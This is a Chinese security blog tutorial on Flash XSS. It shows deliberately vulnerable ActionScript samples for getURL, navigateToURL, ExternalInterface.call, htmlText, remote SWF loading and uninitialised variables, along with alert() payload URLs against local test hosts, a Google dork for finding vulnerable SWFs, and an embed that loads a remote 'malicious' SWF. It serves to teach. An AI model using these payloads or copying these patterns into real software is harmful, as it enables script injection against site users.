Flash XSS攻击总结

<<Flash XSS攻击总结>>  投稿安全脉搏作者杀死那个石家庄人/ 菲哥哥

最近看完了很多关于xss的书     以下是我的一个总结希望能帮到刚接触Flash xss的朋友。

Flash中编程使用的是ActionScript脚本, Flash产生的xss问题主要有两种方式:加载第三方资源和与javascript通信引发XSS

文章开头先普及下基本知识。

Ox01 Flash 安全沙盒

Flash 安全沙盒用于控制swf文件间跨域访问,如果两个域之间没有进行信任授权是无法进行数据交互的.尝试访问会产生安全错误.

说明: 

  • com下的swf文件能够与a.com下的swf文件进行交互
  • com下的swf文件能够与a.com下的swf文件进行交互
  • com 下的swf文件无法访问b.com的swf文件

两个不同安全域下的swf文件,之间是不能互相交互数据的。如果想让两个处于不同安全域内的SWF文件进行数据交互通信,必须要经过授权来实现。经过数据通信授权后即可进行数据通信交互。

授权:

ActionScript中关于SWF文件跨域信任授权访问是通过

Security.allowDomain()方法来实现的。

http://a.example.com/a.swf 代码:

var loader:Loader =new Loader();

loader.contentLoaderInfo.addEventListener(Event.INIT,init);

var url:String="http://b.example.com/b.swf";

loader.load(new URLRequest(url));

function init(event:Event):void

{  trace(loader.content);}

 http://b.example.com/b.swf 代码:

Security.allowDomain("a.example.com");

Security.allowDomain("*");

 

上面是两种不同的设置方式

1.只允许a.example.com访问b.example.com中的SWF文件

2.如果使用*号那么任何域中的SWF文件都能访问执行调用

b.exaple.com中的SWF文件。

 

Ox02 Crossdomian.xml

 

Crossdomian.xml是控制Flash的跨域策略文件,放在网站根目录.作用和allowDomain类似,在Crossdomain.xml文件中可以设置一个或多个信任域名.下面是youku的Corssdomian.xml文件。

<cross-domain-policy>

<allow-access-from domain="*.youku.com"/>

<allow-access-from domain="*.ykimg.com"/>//允许ykimgcom域名的Flash访问

<allow-access-from domain="*.tudou.com"/>

<allow-access-from domain="*.tudouui.com"/>

<allow-access-from domain="*.tdimg.com"/>

</cross-domain-policy>

 

Ox03 Flash getURL XSS

 

在Flash中Actionscript2 可以使用getURL来执行JavaScript 下面以一个实例来剖析下Flash XSS过程.,

使用“Adobe Flash”创建Flash文件,F9快捷键调出代码编辑器,Ctrl+回车运行swf文件。用创建完成的Falsh文件。先看下面本地的简单测试实例

Flash代码:

代码大致意思加载外部含有xss代码的XML

var Fei_xml:XML = new XML(); //创建xml对象

Fei_xml.ignoreWhite = true;  //

Fei_xml.onLoad = function(){

getURL(Fei_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue)} //获取值

Fei_xml.load(_root.xss);  //加载XML文档

XML代码





javascript:alert('Flash Xss Test')


访问http://127.0.0.1/yins/xss/9.swf?xss=falsh.xml   xss代码触发

xss1

 

造成Flash XSS 的主要原因就是没对?XSS=flash.xml获取的内容进行过滤导致的.提供一个查找此类漏洞文件的google关键字

Goole hack: filetype:swf   inurl:xml

 

Ox04 Flash navigateToURL XSS

在Actionscript3中已经不在支持getURL,可以用navigateToURL来执行javascript 下面以一个实例来剖析下Flash navigateToURL XSS过程.

Flash代码:

var url:String = stage.loaderInfo.parameters.url //获取url参数值

var req:URLRequest = new URLRequest("falsh.xml");

var ld:URLLoader = new URLLoader();

ld.addEventListener(Event.COMPLETE ,ok);

var url:String = stage.loaderInfo.parameters.url   //获取url参数值

var req:URLRequest = new URLRequest("falsh.xml");

var ld:URLLoader = new URLLoader();

ld.addEventListener(Event.COMPLETE ,ok);

function ok(evtObj:Event):void {

if(ld.data){

//navigateToURL(new URLRequest("javascript:alert("+url+")"),'_self')

navigateToURL(new URLRequest(url),'_self') //通过navigateToURL调用执行

} else {

}

}

ld.load(req)

代码大意使用stage.loaderInfo.parameters.url 获取外部参数值,使用navigateToURL执行参数值。

访问:

http://127.0.0.1/yins/xss/flash.swf?url=javascript:alert(%27navigateToURL%20Flash%20XSS%20TEST%27)

xss代码触发

xss2

 

Ox05 Flash ExternalInterface.call XSS

Flash中同样可以使用ExternalInterface.call执行javascript 代码,

ExternalInterface.call可传递零个参数或传递多个参数我们只探讨如下两个。

  1. ExternalInterface.call("函数名"):
  2. ExternalInterface.call("函数名","参数")。

先说参数1缺陷时利用,参数1 也就是函数名.在参数1可控的时候即可造成XSS。先看下面Flash代码

Flash代码:

   代码大意接收url提交的Feigege参数,然后 ExternalInterface.call把Feigege参数值放到ExternalInterface.call执行。

var xss:String = root.loaderInfo.parameters.Feigege

if(ExternalInterface.available){  // 属性报告当前容器是否为支持 ExternalInterface

ExternalInterface.call(xss)  //执行js代码

} else {

trace(100)

}

stop()

访问:

http://127.0.0.1/yins/xss/flash.swf?Feigege=alert('Flash xss TEst')

 xss3

下面说参数2可控时的利用方式

Flash代码:

代码大意接收url提交的xss参数,然后 ExternalInterface.call把xss参数值放到ExternalInterface.call第二个参数执行。

var key:String = root.loaderInfo.parameters.xss

if(ExternalInterface.available){

ExternalInterface.call("alert",key)//执行js

} else {

trace(100)

}

stop()

访问:  http://127.0.0.1/yins/xss/flash.swf?xss=%27xss%27

xss4

 

Ox06 Flash HTMLText XSS

在Flash里支持HTMLText属性,HTMLText的作用是显示html标签等。可以使用 img 或者a标签触发xss代码。先看用a标签的情况下。

Flash代码

代码大意 获取Feigege参数值,放到TextField里面显示。

var a:String = root.loaderInfo.parameters.Feigege //获取提交参数的值

var info:TextField = new TextField();  //创建控件对象

info.multiline=true;

info.wordWrap=true;

info.htmlText = a; //显示

addChild(info); >

访问:

http://127.0.0.1/yins/xss/text.swf?Feigege=%3Ca%20href=%27javascript:alert(%22xss%20test%22)%27%3EXSS%20click%3C/a%3E

点击输出的xss click

xss5

这种方法相对比较被动还需要点击触发。接着看下面的利用方式。

使用<img>标签加载一个远程含有js跨站代码的swf文件.

访问:

http://127.0.0.1/yins/xss/text.swf?Feigege=

加载1.swf执行跨站代码

  • swf代码
ExternalInterface.call("alert('xss test')");

xss6

 Ox07 flash XSF加载第三方文件函数 

什么是XSF?

就是使用ActionScript加载第三方的Flash文件时,攻击者能控制这个第三方的Flash文件这样就有可能造成XSF攻击,以下函数如果使用不当就很容易产生XSF问题。

 

loadVariables()

loadMovie()

loadMovieNum()

FScrollPane.loadScrollContent()

LoadVars.send

XML.load('URL')

LoadVars.load('url')

Sound.loadSound('url')

NetStream.play('url')

 

在ActionScript2中可以使用loadMovie函数来加载第三方文件,在ActionScript3中,已经去掉这个函数,改由loader来进行外部数据处理,

在HTML中嵌入flash时候IE下和非IE下也有所不同,IE下使用embed 非IE下使用object看下面例子。

1.html代码

<html>

<object id="lso" type="application/x-shockwave-Flash"

data="http://192.168.1.126/yins/xss/3.swf">

<param name="movie" value = "http://192.168.1.126/yins/xss/3.swf" />

<param name="allowScriptAccess" value="always" />

<param name="allowNetworking" value="all" />

<param

name="Flashvars" value="swf=http://up.51xxs.com/users/public/1456213213_546475.swf"

</object>

</html>

 

在html中嵌入flash 时比较重要的两个参数allowScriptAccess和allowNetworking作用非别如下

allowScriptAccess:控制html页面与Flash页面的通讯。

always:html和Flash页面的通讯不做任何的限制;

samedomain:html和Flash同域的时候可以做通讯【这个值是默认值】;

never:html和Flash禁止通讯。

allowNetworking:控制Flash与外部的网络通讯。

all:Flash所有的网络API通讯接口都可用;

internal:navigateToURL,fscommand,ExternalInterface.call不可用;

none:所有的网络API不可用。

 

swf代码

var param:Object = root.loaderInfo.parameters;

var swf:String = param["swf"];

var myLoader:Loader = new Loader();

var url:URLRequest = new URLRequest(swf);

myLoader.load(url);

addChild(myLoader);

访问:http://192.168.1.126/yins/xss/1.html会加载http://up.51xxs.com/users/public/1456213213_546475.swf这个恶意swf文件导致XSF。

xss7

Ox08 未初始化变量导致的XSS

  在php 中Globals 也就是全局变量在开启的时候,允许在POST个GET参数中改变php脚本中变量的值。在ActionScript2中也有类似的特性,任何未被初始化的变量都可以以POST或GET方式来改变变量的值,因此会导致一些安全问题.看下面测试

ver.swf代码: 

if(user)

{

getURL(_root.Feigege);

}

访问: 

http://192.168.1.126/yins/xss/ver.swf?user=true&Feigege=javascript:alert(/xss%20test/);

由于user未进行初始化变量赋值,导致可以通过GET方式为user赋值绕过,然后使用getURL来执行javascript代码执行结果如下。

xss8

 

意犹未尽?需要交流?请在下面尽情评论~

 

Flash XSS攻击总结  杀死那个石家庄人/ 菲哥哥 投稿安全脉搏】

 

【安全脉搏:分享技术、悦享品质。文章仅代表作者看法,如有不同观点,欢迎添加安全脉搏微信号:SecPulse,进行交流。】

1条评论

评论加载中,请稍等...
  • 无敌情痴  回复

    文章写的很详细,学习了,谢谢楼主分享

昵称*

邮箱*

网址

友情链接

合作伙伴